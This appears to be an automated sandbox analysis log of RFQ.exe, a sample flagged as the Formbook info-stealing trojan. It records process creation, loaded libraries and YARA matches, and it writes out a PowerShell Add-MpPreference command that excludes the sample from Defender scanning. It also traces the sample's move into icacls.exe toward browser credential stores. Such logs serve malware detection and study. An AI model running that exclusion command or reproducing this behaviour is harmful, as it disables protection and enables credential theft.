Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F70C0 8_2_038F70C0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0399F0CC 8_2_0399F0CC
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A70E9 8_2_039A70E9
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AF0E0 8_2_039AF0E0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AF7B0 8_2_039AF7B0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A16CC 8_2_039A16CC
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03935630 8_2_03935630
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0398D5B0 8_2_0398D5B0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039B95C3 8_2_039B95C3
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A7571 8_2_039A7571
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AF43F 8_2_039AF43F
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038E1460 8_2_038E1460
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0390FB80 8_2_0390FB80
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03965BF0 8_2_03965BF0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0392DBF9 8_2_0392DBF9
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AFB76 8_2_039AFB76
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03935AA0 8_2_03935AA0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0398DAAC 8_2_0398DAAC
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03991AA3 8_2_03991AA3
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0399DAC6 8_2_0399DAC6
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AFA49 8_2_039AFA49
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A7A46 8_2_039A7A46
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03963A6C 8_2_03963A6C
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03985910 8_2_03985910
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0390B950 8_2_0390B950
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F9950 8_2_038F9950
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F38E0 8_2_038F38E0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0395D800 8_2_0395D800
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F1F92 8_2_038F1F92
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AFFB1 8_2_039AFFB1
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038B3FD2 8_2_038B3FD2
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038B3FD5 8_2_038B3FD5
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AFF09 8_2_039AFF09
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F9EB0 8_2_038F9EB0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0390FDC0 8_2_0390FDC0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A1D5A 8_2_039A1D5A
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F3D40 8_2_038F3D40
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A7D73 8_2_039A7D73
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AFCF2 8_2_039AFCF2
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03969C32 8_2_03969C32
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D0CC0 8_2_030D0CC0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030CC150 8_2_030CC150
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030CA1D0 8_2_030CA1D0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D27CB 8_2_030D27CB
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030D27D0 8_2_030D27D0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030C104C 8_2_030C104C
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030E9740 8_2_030E9740
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030CBF27 8_2_030CBF27
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030CBF30 8_2_030CBF30
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\icacls.exe Code function: String function: 0396F290 appears 105 times
Source: C:\Windows\SysWOW64\icacls.exe Code function: String function: 03925130 appears 58 times
Source: C:\Windows\SysWOW64\icacls.exe Code function: String function: 038DB970 appears 280 times
Source: C:\Windows\SysWOW64\icacls.exe Code function: String function: 03937E54 appears 111 times
Source: C:\Windows\SysWOW64\icacls.exe Code function: String function: 0395EA12 appears 86 times
Source: C:\Users\user\Desktop\RFQ.exe Code function: String function: 01A75130 appears 58 times
Source: C:\Users\user\Desktop\RFQ.exe Code function: String function: 01A2B970 appears 280 times
Source: C:\Users\user\Desktop\RFQ.exe Code function: String function: 01ABF290 appears 105 times
Source: C:\Users\user\Desktop\RFQ.exe Code function: String function: 01A87E54 appears 111 times
Source: C:\Users\user\Desktop\RFQ.exe Code function: String function: 01AAEA12 appears 86 times
Sample file is different than original file name gathered from version info
Source: RFQ.exe, 00000000.00000002.2018583562.00000000093A0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.2006725572.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.2013468785.0000000003E9B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.2017154668.00000000073C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.2009924751.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs RFQ.exe
Source: RFQ.exe, 00000000.00000000.1973725602.0000000000812000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameeFri.exe: vs RFQ.exe
Source: RFQ.exe, 00000005.00000002.2157658184.0000000001B2D000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs RFQ.exe
Source: RFQ.exe, 00000005.00000002.2157289762.00000000015A8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameiCACLS.EXEj% vs RFQ.exe
Source: RFQ.exe Binary or memory string: OriginalFilenameeFri.exe: vs RFQ.exe
Uses 32bit PE files
Source: RFQ.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 5.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2157037276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2157544338.0000000001920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4432058562.0000000003690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4432005342.0000000003650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.4433484681.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4431071745.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2158404724.0000000002750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.4431863732.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: RFQ.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFePlkmXblX4RY1BsP.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFwJa0tHHWnjMMhMVc.cs Security API names: _0020.SetAccessControl
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFwJa0tHHWnjMMhMVc.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFwJa0tHHWnjMMhMVc.cs Security API names: _0020.AddAccessRule
Source: 0.2.RFQ.exe.3fd2d00.9.raw.unpack, oFePlkmXblX4RY1BsP.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFwJa0tHHWnjMMhMVc.cs Security API names: _0020.SetAccessControl
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFwJa0tHHWnjMMhMVc.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ.exe.93a0000.14.raw.unpack, oFwJa0tHHWnjMMhMVc.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@11/7@24/10
Source: C:\Users\user\Desktop\RFQ.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFQ.exe.log Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Users\user\Desktop\RFQ.exe Mutant created: \Sessions\1\BaseNamedObjects\lslPeCbAktBspLhnUESkV
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5824:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lyrwqexs.umm.ps1 Jump to behavior
Source: RFQ.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RFQ.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\RFQ.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: icacls.exe, 00000008.00000003.2333632738.0000000003316000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2333526865.00000000032F5000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4431220100.0000000003321000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4431220100.0000000003316000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4431220100.0000000003343000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RFQ.exe Virustotal: Detection: 29%
Source: RFQ.exe ReversingLabs: Detection: 18%
Source: C:\Users\user\Desktop\RFQ.exe File read: C:\Users\user\Desktop\RFQ.exe:Zone.Identifier Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\SysWOW64\icacls.exe"
Source: C:\Windows\SysWOW64\icacls.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe" Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe" Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\SysWOW64\icacls.exe" Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: cryptbase.dll Jump to behavior
